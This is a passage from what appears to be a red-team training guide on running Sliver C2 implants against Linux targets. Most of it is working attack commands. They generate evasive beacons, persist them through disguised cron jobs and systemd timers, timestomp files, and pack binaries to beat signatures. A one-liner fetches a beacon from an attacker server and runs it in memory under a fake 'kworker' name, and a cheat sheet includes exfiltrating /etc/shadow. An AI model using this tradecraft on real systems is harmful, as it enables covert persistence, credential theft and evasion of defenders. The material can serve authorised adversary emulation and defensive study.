# Step 1: Generate the beacon with a kill date but no artificial sleep limit
# The cron schedule IS the time-of-day control
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-31T23:59:59Z" \   # engagement kill date
  --save /tmp/beacon.elf

# Step 2: Transfer beacon to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper

# Step 3: Check target's timezone -- critical for correct UTC offset
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u    # local vs UTC -- confirm the offset

# Timezone offset math:
# EST  = UTC-5   -> 0800 EST = 1300 UTC  ->  cron hour = 13
# EDT  = UTC-4   -> 0800 EDT = 1200 UTC  ->  cron hour = 12  (summer/daylight saving)
# PST  = UTC-8   -> 0800 PST = 1600 UTC  ->  cron hour = 16
# If target runs UTC: 0800 UTC = 0800 UTC -> cron hour = 8

# Step 4: Create a cron job (requires root for /etc/cron.d/)
# Disguise the filename -- blend with existing cron files
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Launch beacon at 0800 EST (1300 UTC) weekdays -- only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &

# Kill beacon at 1800 EST (2300 UTC) weekdays -- clean exit before EOD
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF

# Step 5: Timestomp to blend with existing cron files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper

# Alternative: systemd timer (more legitimate-looking, harder to spot in casual review)
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer

[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check

[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF

systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service

Why cron over --limit-datetime for scheduling: --limit-datetime is a kill date — the process can still start at any time before that date. Cron controls when the process starts. Combined: cron handles the 0800 launch window, --limit-datetime handles the engagement expiry, and killing at 1800 keeps it off the wire overnight.


8.6 — Stealthy Delivery: In-Memory Execution via memfd_create

Never write the beacon ELF to disk on the target. Use memfd_create to execute it purely from memory — no file, no inode, no disk forensics.

# Prerequisite: Sliver C2 is running, listener is up, beacon.elf is on your C2 web server
# On the C2 server, serve the payload:
python3 -m http.server 8080 --directory /tmp/payloads &

# On the TARGET -- run this one-liner to download and execute the beacon in-memory:
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# The process appears in 'ps' as 'kworker' -- matches kernel thread naming convention
# No ELF file on disk. Forensics finds nothing in /tmp, /dev/shm, or anywhere else.

Alternative: Base64 embedded delivery (no outbound HTTP from target)

# On attacker: encode the beacon
base64 -w0 beacon.elf > beacon.b64

# In your shell on the target -- paste the base64 string directly:
python3 -c "
import os, base64
b64 = 'AAAA...YOUR_BASE64_HERE...'   # paste beacon.b64 contents here
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# No network fetch from target, no disk write. Pure in-memory exec.

OPSEC: memfd_create creates an anonymous file descriptor not visible in the filesystem. The process does appear in /proc/PID/exe as /proc/self/fd/N (deleted) — a known IOC that some EDRs flag. For higher stealth, consider compiling a minimal C dropper that uses memfd_create directly and masquerades via /proc/self/maps tricks. The kworker process name chosen above mimics kernel worker threads — inspect real kernel threads with ps aux | grep "\[kworker" to pick a realistic name.


8.7 — Binary Hardening: Strip + UPX (Post-Generation)

After generating the ELF beacon, optionally harden it further on your attacker machine before delivery:

# Strip all remaining symbols (belt-and-suspenders on top of --skip-symbols)
strip --strip-all beacon.elf
# Verify size reduction:
ls -lh beacon.elf

# UPX compression -- reduces file size, breaks simple static signature matching
# CAUTION: Some EDRs specifically flag UPX-packed binaries -- test in your lab first
upx --best --lzma beacon.elf           # max compression
upx -d beacon.elf                      # decompress if needed

# Verify the binary still works after UPX (test in lab VM first)
file beacon.elf                        # should still show ELF executable
./beacon.elf                           # test run in lab

# Check what strings remain (what an analyst would see)
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# If any Sliver-specific strings appear -> consider --garble at generation time
# Garble requires building Sliver from source with garble installed:
# go install mvdan.cc/garble@latest
# then generate with --garble flag

8.8 — HTTPS Listener Setup (Blend with Web Traffic)

# Inside Sliver console: start an HTTPS listener (port 443 -- looks like HTTPS to network TAPs)
https --lhost YOUR_C2_IP --lport 443

# Verify listener is running
jobs
#  ID   Name    Protocol   Port
# ==== ======= ========== ======
#  1    https   tcp        443

# Generate beacon using HTTPS instead of mTLS
# HTTPS blends better in environments where mTLS to non-standard ports triggers alerts
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --save /tmp/beacon_https.elf

# For DNS C2 (extremely stealthy, traverses most firewalls):
# Requires a domain you control with NS records pointing to your server
dns --domains yourc2domain.com
generate beacon \
  --dns yourc2domain.com \
  --os linux --arch amd64 --format elf \
  --seconds 7200 --jitter 1800 \
  --save /tmp/beacon_dns.elf
# DNS beacon is very slow (DNS response times) but nearly unblockable

8.9 — Sliver Quick-Reference Cheat Sheet

# -- Server management --------------------------------------------------
sliver-server          # start console
jobs                   # list active listeners
mtls --lport 8888      # start mTLS listener
https --lport 443      # start HTTPS listener

# -- Implant management -------------------------------------------------
implants               # list all generated implants
beacons                # list active beacons
sessions               # list active sessions
use <ID>               # interact with beacon or session

# -- Beacon interaction -------------------------------------------------
info                   # beacon details (interval, jitter, OS, PID)
tasks                  # list queued/completed tasks
interactive            # promote beacon -> live session
background             # return to main console (beacon stays active)
beacons rm <ID>        # remove beacon entry

# -- In-session commands (Linux) ----------------------------------------
ls / pwd / cd          # filesystem navigation
download /etc/shadow   # exfil file to C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id          # run command, capture output
shell                  # drop to interactive shell (noisy)
socks5 start           # start SOCKS5 proxy via this implant
portfwd add -r TARGET_IP:22 -b 127.0.0.1:2222  # port forward
getenv / setenv        # environment variable access
screenshot             # capture desktop (GUI targets)
procdump --pid <PID>   # memory dump of process

# -- Profiles (save generation configs) --------------------------------
profiles new beacon \
  --https C2_IP:443 --os linux \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \
  linux-biz-hours

profiles generate --save /tmp/ linux-biz-hours   # generate from saved profile
profiles             # list all profiles

Resources

Resource Type Relevance
GTFOBins Reference Sudo / SUID exploitation one-liners
PayloadsAllTheThings — Linux PrivEsc Reference Comprehensive priv-esc techniques
HackTricks — Linux PrivEsc Reference Deep technique breakdowns
linux-exploit-suggester Tool Kernel CVE matching
pspy Tool No-root cron/process watcher
swap_digger Tool Swap memory credential extraction
InternalAllTheThings — Linux PrivEsc Reference Technique reference with MITRE mapping
RoseSecurity Red-Teaming-TTPs Reference Red team TTP list with commands
RedTeaming_CheatSheet (0xJs) Reference Comprehensive pentesting guide
d4t4s3c/OffensiveReverseShellCheatSheet Reference Reverse shell one-liners (bash/nc/python/socat)
RoqueNight/Reverse-Shell-TTY-Cheat-Sheet Reference TTY stabilization: Python/perl/ruby methods
pentestmonkey reverse shells Reference Classic one-liners
BishopFox/sliver Tool / C2 Adversary emulation framework — Linux focus
Sliver Docs Reference Official Sliver documentation
Learning Sliver C2 — Beacons & Sessions Tutorial Beacon vs session deep dive
Sliver C2 Usage for Red Teams Tutorial Operator guide with practical examples
Sliver + memfd_create Tutorial Fileless Linux delivery via memfd_create

Back to Parts 1a & 1b — OPSEC Baseline & Privilege Escalation

Part of the Red Teaming 101 series. Companions: 1a: OPSEC · 1b: PrivEsc.